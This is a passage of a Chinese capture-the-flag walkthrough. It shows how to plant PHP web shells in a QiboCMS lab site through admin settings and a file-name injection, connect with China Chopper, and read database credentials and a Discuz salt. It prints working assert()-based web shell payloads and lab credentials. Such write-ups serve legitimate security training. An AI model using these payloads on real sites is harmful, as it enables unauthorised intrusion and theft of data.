https://www.ichunqiu.com/battalion?t=2?php @assert($_POST['cmd']); ?> 后保存设置:

这里为什么不用传统的一句话木马 ?php @eval($_POST['cmd']); ?>
呢?因为 CMS 对 eval()
函数进行了过滤,会将其转变成 eva l()
:

所以此处能用 assert()
函数写入木马,也体现了 CMS 的写入过滤不完全。接着点击 系统功能 -> 频道独立页管理 -> 添加频道页,在 频道页名字 处填上任意字符(此处以 sqli
为例),在 静态文件名 处必须填上 .php
文件名,否则菜刀连接不上(此处以 sqli.php
为例):

点击 提交 后,可在 频道管理页 中看到所添加的频道页,接下来一定要点击 静态化 按钮,才能正常访问 http://www.test.ichunqiu/sqli.php
,否则只会弹出 404 页面:

在确认能够正常 sqli.php
页面后,准备 添加SHELL 进行菜刀连接:

成功连接后,在管理员桌面上看到了 flag 文件:

打开 flag 文件即可获得 key{636bb37e}
,因此第 2 题答案就是 636bb37e
:

前台栏目投稿自定义文件名写入木马
第二个漏洞是在前台栏目投稿设置信息中的 自定义文件名 输入框内触发,因此需要“自定义内容页文件名”的权限,不过我们已经有了管理员权限,故不必担心此问题。详情可参考:
齐博CMS某处任意文件写入getshell(需要一定权限)
首先用账号 admin
与密码 whoami!@#123
在前台登录,并点击 !我要投稿:

任选一栏目,在 我要投稿 处点击 发表(此处以社会新闻栏目为例):

先在 其他设置 标签页下的 自定义文件名 输入框中写入木马 x';@assert($_POST['cmd']);//y.htm
:

其中 x';
是为了闭合代码中的左单引号,//y.htm
是为了使整体文件名有静态网页的后缀,并且注释掉后面的代码。注意此处不能用 eval()
函数构造木马,与前文一样会被过滤。
再回到 基本信息 标签页下,将带 (*)
的必填信息填好后提交:

提交后访问 http://www.test.ichunqiu/data/showhtmltype.php
,成功看到报错信息:

接下来 添加SHELL 进行菜刀连接:

成功连接后,可在 /data/showhtmltype.php
源码中看到所添加的木马,印证了漏洞的存在:

查看管理员桌面上的 flag 文件与前文一致,此处不再赘述。
0x03 获取 bbs.test.ichunqiu 数据库中 admin 的 salt 值
第 3 题终于引入了 http://bbs.test.ichunqiu
论坛社区...的数据库了。出题人好像为了方便我们直接进行本题,特意在主站根目录下放了木马 /2.php
,免去了上题插入木马的过程:

所以下次想直接复现第 3 题,用菜刀连上此木马即可:

我们在根目录下可看到 /dedecms_bak
的文件夹,进一步搜索到 DEDECMS 的默认数据库配置文件为 /data/common.inc.php
,打开一看,果不其然:

但是主机地址显示为 172.16.12.3
,跟 http://bbs.test.ichunqiu
好像没什么关系吧?其实不然,打开主机终端,用 nslookup
命令可得到论坛的 IP 地址就是 172.16.12.3
,顺便可看到主站的 IP 地址为 172.16.12.2
:

注意到数据库配置信息中是根用户权限,因此若能连上 DEDECMS 在 172.16.12.3
上的数据库,那么 Discuz! 在 172.16.12.3
上的数据库也能被访问到!于是,在菜刀 添加SHELL 的配置中填入数据库信息(THUPL):
小贴士:如何在菜刀中填入数据库配置信息请参考 黑站利器-中国菜刀的功能介绍和使用方法
T>mysql/T>
H>172.16.12.3/H>
U>root/U>
P>opiznmzs/P>
L>gbk/L>
保存设置后右键条目,选择 数据库管理,成功连接后可见服务器端的数据库管理界面:

又经过一番搜索,得知 ultrax
正是 Discuz! 的数据库,而 dedecms
显而易见是 DEDECMS 的。我们的目标应该是 ultrax
数据库中某个表的 salt
字段,这里必须要介绍一下 MySQL 自带的 information_schema
数据库,它提供了对元数据的访问方式,是 MySQL 中的百科全书,其中在 information_schema.COLUMNS
表中记录了本数据库所有字段的相关信息。详情可参考:
MySQL中information_schema是什么
因此,只要输入一条简单的 SQL 语句,点击 执行,有关 salt
字段的所有信息将会呈现:
SELECT * FROM COLUMNS WHERE COLUMN_NAME = 'salt'

最终我们在 ultrax
数据库的 pre_ucenter_members
表中发现了 salt
字段的值为 9b47b6
:

到此为止,渗透测试的最终目标已达成。
意犹未尽的各位看官可接着往下看,既然我们把 172.16.12.3
上的数据库给爆了,那也趁此机会,不妨把 172.16.12.2
上的数据库也给爆了。经过搜索后发现,齐博 CMS 的默认数据库配置文件为 /data/mysql_config.php
:

然后在菜刀 添加SHELL 的配置中修改数据库信息:

成功连接后,在 qibov7
数据库的 qb_members
表中发现第 1 题中管理员的账号与密码哈希值:

至此,本题的两个服务器系统已被我们完全打穿。
0x04 小结
本题虽然有两台目标服务器,但万变不离其宗,熟练之后自然得心应手。在此过程中,我同样也受益匪浅,细心的读者会发现全文多次出现『搜索』二字,而渗透测试的核心正是收集目标系统的信息,挖掘其漏洞并加以利用。
以上是笔者之拙见,不足之处还望各位指出,有其他更猥琐的渗透的思路欢迎前来交流。最后向以下参考 writeup 的作者表示致谢!
11-在线挑战详细攻略-《渗透测试笔记》
>>>>>> 黑客入门必备技能 带你入坑和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩~